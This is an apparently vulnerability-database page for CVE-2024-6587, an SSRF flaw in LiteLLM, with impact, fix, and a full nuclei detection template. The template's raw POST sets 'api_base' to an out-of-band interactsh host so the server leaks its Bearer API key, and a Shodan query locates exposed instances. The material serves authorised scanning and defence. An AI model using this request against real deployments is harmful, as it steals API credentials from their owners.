HexBrain

Browse / CVEs / CVE-2024-6587

CVE-2024-6587

LiteLLM - Server-Side Request Forgery

highseverity
34.4%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

LiteLLM vulnerable to Server-Side Request Forgery (SSRF) vulnerability Exposes OpenAI API Keys.

Impact

Attackers can exploit SSRF to send requests to arbitrary URLs with OpenAI API keys in the Authorization header, potentially exposing API credentials.

Fix

Update LiteLLM to the latest version that addresses the SSRF vulnerability in the chat/completions endpoint.

How to confirm it

Send: POST /chat/completions
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "Bearer"

Run it with nuclei: nuclei -id CVE-2024-6587 -u <target>

The full check
id: CVE-2024-6587

info:
  name: LiteLLM - Server-Side Request Forgery
  author: pdresearch,iamnoooob,rootxharsh,lambdasawa
  severity: high
  description: |
    LiteLLM vulnerable to Server-Side Request Forgery (SSRF) vulnerability Exposes OpenAI API Keys.
  impact: |
    Attackers can exploit SSRF to send requests to arbitrary URLs with OpenAI API keys in the Authorization header, potentially exposing API credentials.
  remediation: |
    Update LiteLLM to the latest version that addresses the SSRF vulnerability in the chat/completions endpoint.
  reference:
    - https://huntr.com/bounties/4001e1a2-7b7a-4776-a3ae-e6692ec3d997
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6587
  classification:
    epss-score: 0.34375
    epss-percentile: 0.98426
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:439373620
  tags: cve,cve2024,ssrf,openai,litellm,vkev,vuln,ai

http:
  - raw:
      - |
        POST /chat/completions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "model": "command-nightly",
          "messages": [
            {
              "content": "Hello, how are you?",
              "role": "user"
            }
          ],
          "api_base": "https://{{interactsh-url}}"
        }

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "Bearer"

References

Use this check only on systems you are authorised to test. Where the data comes from